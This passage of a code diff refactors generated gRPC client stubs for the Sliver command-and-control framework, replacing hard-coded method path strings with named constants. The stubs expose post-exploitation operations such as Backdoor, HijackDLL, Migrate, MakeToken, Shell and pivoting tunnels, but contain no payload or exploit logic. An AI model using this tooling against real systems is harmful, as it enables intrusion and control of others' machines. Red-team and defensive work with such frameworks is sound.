*clientpb.GetSystemR func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Task", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Task_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1283,7 +1440,7 @@ func (c *sliverRPCClient) Task(ctx context.Context, in *sliverpb.TaskReq, opts . func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Msf", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Msf_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1292,7 +1449,7 @@ func (c *sliverRPCClient) Msf(ctx context.Context, in *clientpb.MSFReq, opts ... func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteReq, opts ...grpc.CallOption) (*sliverpb.Task, error) { out := new(sliverpb.Task) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MsfRemote", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MsfRemote_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1301,7 +1458,7 @@ func (c *sliverRPCClient) MsfRemote(ctx context.Context, in *clientpb.MSFRemoteR func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.ExecuteAssemblyReq, opts ...grpc.CallOption) (*sliverpb.ExecuteAssembly, error) { out := new(sliverpb.ExecuteAssembly) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteAssembly", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecuteAssembly_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1310,7 +1467,7 @@ func (c *sliverRPCClient) ExecuteAssembly(ctx context.Context, in *sliverpb.Exec func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error) { out := new(sliverpb.Migrate) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Migrate", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Migrate_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1319,7 +1476,7 @@ func (c *sliverRPCClient) Migrate(ctx context.Context, in *clientpb.MigrateReq, func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) { out := new(sliverpb.Execute) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Execute", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Execute_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1328,7 +1485,7 @@ func (c *sliverRPCClient) Execute(ctx context.Context, in *sliverpb.ExecuteReq, func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) { out := new(sliverpb.Execute) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteWindows", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecuteWindows_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1337,7 +1494,7 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) { out := new(sliverpb.Sideload) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Sideload_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1346,7 +1503,7 @@ func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error) { out := new(sliverpb.SpawnDll) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SpawnDll", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SpawnDll_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1355,7 +1512,7 @@ func (c *sliverRPCClient) SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawn func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error) { out := new(sliverpb.Screenshot) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Screenshot", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Screenshot_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1364,7 +1521,7 @@ func (c *sliverRPCClient) Screenshot(ctx context.Context, in *sliverpb.Screensho func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.CurrentTokenOwnerReq, opts ...grpc.CallOption) (*sliverpb.CurrentTokenOwner, error) { out := new(sliverpb.CurrentTokenOwner) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CurrentTokenOwner", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CurrentTokenOwner_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1373,7 +1530,7 @@ func (c *sliverRPCClient) CurrentTokenOwner(ctx context.Context, in *sliverpb.Cu func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.PivotStartListenerReq, opts ...grpc.CallOption) (*sliverpb.PivotListener, error) { out := new(sliverpb.PivotListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStartListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotStartListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1382,7 +1539,7 @@ func (c *sliverRPCClient) PivotStartListener(ctx context.Context, in *sliverpb.P func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.PivotStopListenerReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotStopListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotStopListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1391,7 +1548,7 @@ func (c *sliverRPCClient) PivotStopListener(ctx context.Context, in *sliverpb.Pi func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverpb.PivotListenersReq, opts ...grpc.CallOption) (*sliverpb.PivotListeners, error) { out := new(sliverpb.PivotListeners) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotSessionListeners", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotSessionListeners_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1400,7 +1557,7 @@ func (c *sliverRPCClient) PivotSessionListeners(ctx context.Context, in *sliverp func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.PivotGraph, error) { out := new(clientpb.PivotGraph) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/PivotGraph", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_PivotGraph_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1409,7 +1566,7 @@ func (c *sliverRPCClient) PivotGraph(ctx context.Context, in *commonpb.Empty, op func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1418,7 +1575,7 @@ func (c *sliverRPCClient) StartService(ctx context.Context, in *sliverpb.StartSe func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StopService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1427,7 +1584,7 @@ func (c *sliverRPCClient) StopService(ctx context.Context, in *sliverpb.StopServ func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.RemoveServiceReq, opts ...grpc.CallOption) (*sliverpb.ServiceInfo, error) { out := new(sliverpb.ServiceInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RemoveService", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RemoveService_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1436,7 +1593,7 @@ func (c *sliverRPCClient) RemoveService(ctx context.Context, in *sliverpb.Remove func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenReq, opts ...grpc.CallOption) (*sliverpb.MakeToken, error) { out := new(sliverpb.MakeToken) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/MakeToken", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_MakeToken_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1445,7 +1602,7 @@ func (c *sliverRPCClient) MakeToken(ctx context.Context, in *sliverpb.MakeTokenR func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts ...grpc.CallOption) (*sliverpb.EnvInfo, error) { out := new(sliverpb.EnvInfo) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1454,7 +1611,7 @@ func (c *sliverRPCClient) GetEnv(ctx context.Context, in *sliverpb.EnvReq, opts func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, opts ...grpc.CallOption) (*sliverpb.SetEnv, error) { out := new(sliverpb.SetEnv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/SetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_SetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1463,7 +1620,7 @@ func (c *sliverRPCClient) SetEnv(ctx context.Context, in *sliverpb.SetEnvReq, op func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq, opts ...grpc.CallOption) (*sliverpb.UnsetEnv, error) { out := new(sliverpb.UnsetEnv) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/UnsetEnv", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_UnsetEnv_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1472,7 +1629,7 @@ func (c *sliverRPCClient) UnsetEnv(ctx context.Context, in *sliverpb.UnsetEnvReq func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq, opts ...grpc.CallOption) (*clientpb.Backdoor, error) { out := new(clientpb.Backdoor) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Backdoor", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Backdoor_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1481,7 +1638,7 @@ func (c *sliverRPCClient) Backdoor(ctx context.Context, in *clientpb.BackdoorReq func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.RegistryReadReq, opts ...grpc.CallOption) (*sliverpb.RegistryRead, error) { out := new(sliverpb.RegistryRead) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryRead", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryRead_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1490,7 +1647,7 @@ func (c *sliverRPCClient) RegistryRead(ctx context.Context, in *sliverpb.Registr func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.RegistryWriteReq, opts ...grpc.CallOption) (*sliverpb.RegistryWrite, error) { out := new(sliverpb.RegistryWrite) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryWrite", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryWrite_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1499,7 +1656,7 @@ func (c *sliverRPCClient) RegistryWrite(ctx context.Context, in *sliverpb.Regist func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.RegistryCreateKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryCreateKey, error) { out := new(sliverpb.RegistryCreateKey) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryCreateKey", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryCreateKey_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1508,7 +1665,7 @@ func (c *sliverRPCClient) RegistryCreateKey(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.RegistryDeleteKeyReq, opts ...grpc.CallOption) (*sliverpb.RegistryDeleteKey, error) { out := new(sliverpb.RegistryDeleteKey) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryDeleteKey", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryDeleteKey_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1517,7 +1674,7 @@ func (c *sliverRPCClient) RegistryDeleteKey(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error) { out := new(sliverpb.RegistrySubKeyList) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListSubKeys", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryListSubKeys_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1526,7 +1683,7 @@ func (c *sliverRPCClient) RegistryListSubKeys(ctx context.Context, in *sliverpb. func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error) { out := new(sliverpb.RegistryValuesList) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegistryListValues", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegistryListValues_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1535,7 +1692,7 @@ func (c *sliverRPCClient) RegistryListValues(ctx context.Context, in *sliverpb.R func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error) { out := new(sliverpb.SSHCommand) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RunSSHCommand", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RunSSHCommand_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1544,7 +1701,7 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) { out := new(clientpb.DllHijack) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_HijackDLL_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1553,7 +1710,7 @@ func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackR func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error) { out := new(sliverpb.GetPrivs) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetPrivs", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetPrivs_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1562,7 +1719,7 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) { out := new(sliverpb.RportFwdListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartRportFwdListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StartRportFwdListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1571,7 +1728,7 @@ func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverp func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error) { out := new(sliverpb.RportFwdListeners) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetRportFwdListeners", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_GetRportFwdListeners_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1580,7 +1737,7 @@ func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) { out := new(sliverpb.RportFwdListener) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopRportFwdListener", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_StopRportFwdListener_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1589,7 +1746,7 @@ func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) { out := new(sliverpb.OpenSession) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_OpenSession_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1598,7 +1755,7 @@ func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSess func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSession", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseSession_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1607,7 +1764,7 @@ func (c *sliverRPCClient) CloseSession(ctx context.Context, in *sliverpb.CloseSe func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) { out := new(sliverpb.RegisterExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegisterExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1616,7 +1773,7 @@ func (c *sliverRPCClient) RegisterExtension(ctx context.Context, in *sliverpb.Re func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallExtensionReq, opts ...grpc.CallOption) (*sliverpb.CallExtension, error) { out := new(sliverpb.CallExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CallExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CallExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1625,7 +1782,7 @@ func (c *sliverRPCClient) CallExtension(ctx context.Context, in *sliverpb.CallEx func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListExtensions, error) { out := new(sliverpb.ListExtensions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListExtensions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ListExtensions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1634,7 +1791,7 @@ func (c *sliverRPCClient) ListExtensions(ctx context.Context, in *sliverpb.ListE func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverpb.RegisterWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterWasmExtension, error) { out := new(sliverpb.RegisterWasmExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/RegisterWasmExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_RegisterWasmExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1643,7 +1800,7 @@ func (c *sliverRPCClient) RegisterWasmExtension(ctx context.Context, in *sliverp func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.ListWasmExtensionsReq, opts ...grpc.CallOption) (*sliverpb.ListWasmExtensions, error) { out := new(sliverpb.ListWasmExtensions) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ListWasmExtensions", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ListWasmExtensions_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1652,7 +1809,7 @@ func (c *sliverRPCClient) ListWasmExtensions(ctx context.Context, in *sliverpb.L func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.ExecWasmExtensionReq, opts ...grpc.CallOption) (*sliverpb.ExecWasmExtension, error) { out := new(sliverpb.ExecWasmExtension) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecWasmExtension", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_ExecWasmExtension_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1661,7 +1818,7 @@ func (c *sliverRPCClient) ExecWasmExtension(ctx context.Context, in *sliverpb.Ex func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) { out := new(sliverpb.WGPortForward) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartPortForward", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStartPortForward_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1670,7 +1827,7 @@ func (c *sliverRPCClient) WGStartPortForward(ctx context.Context, in *sliverpb.W func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WGPortForwardStopReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error) { out := new(sliverpb.WGPortForward) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopPortForward", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStopPortForward_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1679,7 +1836,7 @@ func (c *sliverRPCClient) WGStopPortForward(ctx context.Context, in *sliverpb.WG func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocksStartReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) { out := new(sliverpb.WGSocks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStartSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStartSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1688,7 +1845,7 @@ func (c *sliverRPCClient) WGStartSocks(ctx context.Context, in *sliverpb.WGSocks func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error) { out := new(sliverpb.WGSocks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGStopSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGStopSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1697,7 +1854,7 @@ func (c *sliverRPCClient) WGStopSocks(ctx context.Context, in *sliverpb.WGSocksS func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error) { out := new(sliverpb.WGTCPForwarders) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListForwarders", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGListForwarders_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1706,7 +1863,7 @@ func (c *sliverRPCClient) WGListForwarders(ctx context.Context, in *sliverpb.WGT func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error) { out := new(sliverpb.WGSocksServers) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/WGListSocksServers", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_WGListSocksServers_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1715,7 +1872,7 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) { out := new(sliverpb.Shell) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Shell_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1724,7 +1881,7 @@ func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error) { out := new(sliverpb.Portfwd) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Portfwd", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_Portfwd_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1733,7 +1890,7 @@ func (c *sliverRPCClient) Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*sliverpb.Socks, error) { out := new(sliverpb.Socks) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CreateSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1742,7 +1899,7 @@ func (c *sliverRPCClient) CreateSocks(ctx context.Context, in *sliverpb.Socks, o func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseSocks", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseSocks_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1750,7 +1907,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op } func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], "/rpcpb.SliverRPC/SocksProxy", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...) if err != nil { return nil, err } @@ -1782,7 +1939,7 @@ func (x *sliverRPCSocksProxyClient) Recv() (*sliverpb.SocksData, error) { func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*sliverpb.Tunnel, error) { out := new(sliverpb.Tunnel) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CreateTunnel", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CreateTunnel_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1791,7 +1948,7 @@ func (c *sliverRPCClient) CreateTunnel(ctx context.Context, in *sliverpb.Tunnel, func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) - err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/CloseTunnel", in, out, opts...) + err := c.cc.Invoke(ctx, SliverRPC_CloseTunnel_FullMethodName, in, out, opts...) if err != nil { return nil, err } @@ -1799,7 +1956,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, } func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], "/rpcpb.SliverRPC/TunnelData", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...) if err != nil { return nil, err } @@ -1830,7 +1987,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { } func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], "/rpcpb.SliverRPC/Events", opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...) if err != nil { return nil, err } @@ -1869,8 +2026,6 @@ type SliverRPCServer interface { GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, 